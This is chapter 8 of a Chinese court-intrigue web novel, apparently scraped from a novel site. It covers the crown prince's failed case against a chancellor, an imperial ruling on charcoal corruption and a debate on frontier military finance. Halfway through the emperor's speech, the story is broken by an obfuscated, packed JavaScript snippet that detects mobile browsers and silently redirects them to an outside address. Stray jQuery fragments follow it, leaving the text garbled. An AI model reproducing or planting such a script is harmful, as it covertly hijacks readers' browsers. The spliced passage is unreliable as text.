默认冷灰
24号文字
方正启体

8. 第八章

作者:眷里本书字数:K更新时间:
    已过辰中,东宫还是一片灯火通明。


    “真的就寻不到一点与杨弋铨相关的蛛丝马迹吗!”


    李楷翻着摆满案台的卷宗,愁眉不展。


    虽然他自己也深知,这十几日来,供词文书反反复复看得几乎可以背出来,却还是寻不到任何能够拿捏杨弋铨的把柄。


    太子詹事亦是一脸愁绪。


    “殿下,既然圣人还未催促,不妨多拖些时日,臣想办法将京兆府和司农寺已经收押的那几个再审审,还有那几个炭翁,或许能用些法子让他们吐点东西?”


    太子听见这话,往后仰坐,望着殿顶,声音里透着一丝萎靡不振。


    “圣人不催促那是在隔岸观火,他看着孤与杨弋铨斗了这么多年,何曾干预过。过两日便就是冬月了,再压着那些炭肆闭门不开,不管这案子最后审得的如何,到底牵扯到哪些人,孤肯定是第一个要被问罪的。何况这些人收押也好几日了,要开口早就开口了,他们一早就算计好罪不至死,还有一家老小要活命,他们要是吐出杨弋铨来便就没这等好事了。至于那些炭翁说的话,又有谁会信,连个物证都没有。”


    “殿下,咱们这次不咬死他,恐日后就......”


    李楷不等詹事说完便猛地竖起背脊,拾起一本册子往地上掷去,打断他。


    “住嘴,孤如何会不知道这些,可是孤知道又有什么用。罢了,圣人只是要个结果,明日朝会让钱文邕上奏吧,反正有了好名声,圣人就不会不满意。你赶紧去办吧。”


    詹事走后,李楷眼神空洞,看着殿中央瑞兽鞍马纹的舞筵,愈发觉得身心俱疲。


    满目繁华下是日复一日被圣人期望的明争暗斗,被架在这方台子上,演贤能演高明,实际已是千疮百孔,他此刻真想知道究竟什么时候才是个头。


    可他又陡然回过神来,耻笑自己无用。


    一旦他真的累了不斗了,恐怕就是死期到了。


    这个时候内侍进来宣太子妃到了,太子扶额点点头。


    “殿下,妾带了宵夜来,殿下忙到此刻,定是又饿了。”太子妃许纨行过礼跪坐到太子旁侧,放下提盒,伸手替太子按摩着额角。


    李楷抚上许纨的手握住,“辛苦太子妃了,这么晚了还替孤操持这些小事。”


    “事关殿下的从来就没有小事,都怨纨儿无能,不能替殿下分忧。”


    “怎会,纨儿是孤的左膀右臂,孤记得你兄长如今在兵部,这便很好。”


    许纨看着李楷意味深长的眼神,羞怯地低下头去,“是,妾会多加提点兄长的。”


    第二日朝会上,御史中丞联合大理寺、刑部一同押奏。


    弹劾京兆府尹、司农卿相互勾结,职掌炭务监守自盗,窃换官炭以中饱私囊。


    又强市于民,以威凌弱,贱取炭翁之货而牟利。


    幸东宫太子及早察觉,案情未至不可控之境,但京兆府、司农寺涉及官员皆当判流放之刑。


    另户部金部司、度支司数个官员未行监察之职,也当贬黜。


    关闭涉案炭肆,财货一应没官。


    “准!另传朕旨意,当好好安抚补偿那几个炭翁,京中百姓薪炭供应还要继续指望他们,至于没收的炭薪,裴敬中。”


    “臣在。”


    “这案子既然是你办的,那些收上来的炭薪你们户部好好清点,发放给京中那些穷苦百姓,尤其是老弱妇孺,以彰显我大雍之仁德。”


    圣人说着展臂一挥,龙颜大悦。


    “是,臣接旨。”


    “张敦复,腾出来的位置,你尽快拟给名录给朕,天渐冷了,该办的事还是得有人办。”


    “是,臣接旨。”吏部尚书出列领下口谕。


    一下子冒出来了如此多的空缺,直觉浑身冒汗,怕是没这么好拟呢。


    “东宫这次做得很好,当赏,赐帛千匹。户部那边你也继续在旁协助,把这件事好好办完。”圣人面露欣然。


    “是,臣遵旨。”


    圣人又看了看下方杨弋铨站在前列,一直未发一言,握着手中象牙笏板,面不露色。


    散朝后,圣人留太子李楷、右相杨弋铨、左相朱浅文、户部尚书李垣寅、兵部尚书王近弥等回兴庆殿继续商讨入冬军饷一事。


    “朕已阅过户部呈上来的折子,不过朕瞧着怎么河西的军饷又多了一些。”


    “回陛下的话,是河西年中募兵增了近两万,再加上重镇之地,每个兵卒的军需略比别地要高一些,故就多了。”王近弥出声回道。


    “朕听闻,北方几个重镇今秋收成皆不错,既如此,不若让他们自己解决部分军粮供给。田地不够也允他们开垦荒地,这部分田税亦让其自留,如此户部拨出去的军需是否能减轻些?”


    话音落地,众人内心震动。


    圣人的意思是要放权给方镇。


    各镇节度使从前仅是各掌兵权,如今要拨部分利权下去,是从未有过先例的。


    一时之间无人敢应声。


    虽然军需一直是朝廷最棘手的政事,每年光是审阅各地军需就耗费良久,常常户部批文还未发出去,边境大大小小的战事却已然发起。


    户部在京城官署中算出的物价、敌情,等到了各镇早失了用武之地。更不论军资在千里迢迢的押送之路上,又要损失几何。


    然而放权不是小事,谁敢应承此措定能百利而无一害。


    杨弋铨见殿中寂静,思虑了片刻,出声道:“回禀陛下,臣认为此事或许可行,既能解决京中与各地联络所费之时过久,又能削减军资沿途损耗,为朝中大计节流。且各地节度使最是知悉军中耗费,比京中发出的支度要合理许多。如此周全,乃陛下圣明。”


    “陛下,臣认为不妥。各镇相去甚远,若是他们自己得利,瞒报军需财税,蒙蔽圣听,后果不堪设想。”


    太子听完杨弋铨一番话,内心忧虑,在一旁出言相劝。


    圣人神色不明,置若罔闻。


    “太子殿下所言不无道理,不过也可在各镇设度支使,负责各地财计相及事宜,这些度支使由户部来掌管,陛下便能安心。”李垣寅顺着太子的话头又圆了回来。


    圣人闻言,龙颜大悦,连连赞好,“那你们回去先拟个草书来,近日呈给我,都退下吧。弋铨,你留步。”


    太子在袖中攥紧双手,面上不露声色。


    看来圣人早有决断,才对自己不发一言。


    即便心中再有不甘憋屈,只能同其他人一齐行礼后退下。


    “弋铨,朕近日瞧着太子愈发糊涂了,常常在想,是不是他过得太舒坦了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590882|205453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也许该让朕的其他儿子替他分一分担子。”


    “陛下,这是您的家事,臣是外臣,不敢置喙。不过臣愚见,其他皇子纵然能替太子殿下担责,好让殿下轻松些,但有些殿下也未必是懂事体贴的,恐怕会放虎归山。”


    一个太子殿下尚可对付,一群便难了。


    “你才说这是朕的家事,转头又编排起朕的儿子们了,弋铨,你的胆子也不小啊。”


    “臣不敢,臣都是为陛下着想,请陛下明鉴。”杨弋铨说着便颤颤拜了下去。


    皇帝手指点着龙椅扶柄,端量了半晌。


    “罢了,你起身吧,朕再想想。另有一件要事与你交代一下,既削减了军资,年底和元旦的筵席庆典,定要好好操办,各国来朝,绝不能失了朕的颜面。”


    说罢便摆手让杨弋铨退下,独自去了后殿。


    等杨弋铨从兴庆殿出来后,一路都在细细琢磨圣人言语间的隐意。究竟是对太子失望了,还是对自己失望了,无从分辨。


    遍身越发不寒而栗。


    进了中书省,李垣寅竟在里头等着自己。


    “相公,今日折将良多,我们往后该如何部署?”李垣寅压着声音问道。


    “你急什么,你以为就我们损了人吗。先避过这阵风头,让太子得意两日。圣人刚刚留我,有更要紧的事情,你这回务必要仔细些。”


    杨弋铨背着光,眯眼看着墙上壁记,阴恻恻的声音激得李垣寅低头不再开口。


    ..........


    朝会后的两日里,薪炭案处置的消息传遍长安城内,城中百姓无不称颂当今圣上仁民爱物,也无不夸赞太子体察民情,满是祥和之气。


    孟钰在家中听到消息时,纭娘正好在身边,她欢笑着拿上碎银就出门去囤买过冬的木炭了。孟钰看着纭娘的身影,摇头笑了笑,抿唇不语。


    “你早就知道了是吗。“苏行霖从后面走上来,语气笃定,“那日在街上就见你东张西望,原来是在看这个。”


    孟钰还是盯着纭娘离去的方向,仍不说话。


    “你从前就是这样,出门游学,别人都是看风景看美人,吟诗作赋,你却只看国计看民生,丈量算计,别人总夸你的文章一针见血,立议独到,但我一点也不奇怪你会写出那样的笔墨来。沅微,你不知道我一直都很敬佩你,这么多年了,你这般宽心爽朗,但又心怀天下,装了很多别人毫不在意的事。你这样的家境出身,换做旁人早就贪图享乐去了,唯独你绞尽脑汁往龙潭虎穴里钻。别人进朝堂为名为利,你呢,你又是为了什么。沅微,我常常盼着你得偿所愿,可是又是又怕你太得偿所愿了。”


    “行霖,原来你这般心疼我呢。”


    孟钰转过头来,嬉皮笑脸地看着苏行霖。


    你呢,难不成你也是那等圣贤书读进狗肚子里的庸才吗,我是不会跟那等庸才做这么久朋友的。”


    苏行霖知道她在玩笑,却异常郑重地回看孟钰,“国正天心顺,官清民自安。我不如你勇敢机敏,但我定当也会尽我所能守正本心,沅微,我不会让你失望。”


    “好,愿我们来日同官为僚友,努力图共济。”


    孟钰与苏行霖相视一笑,这是冬日来临前的最后一个温暖午后,两个人站在廊下反倒觉得风和日丽,如登春台。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)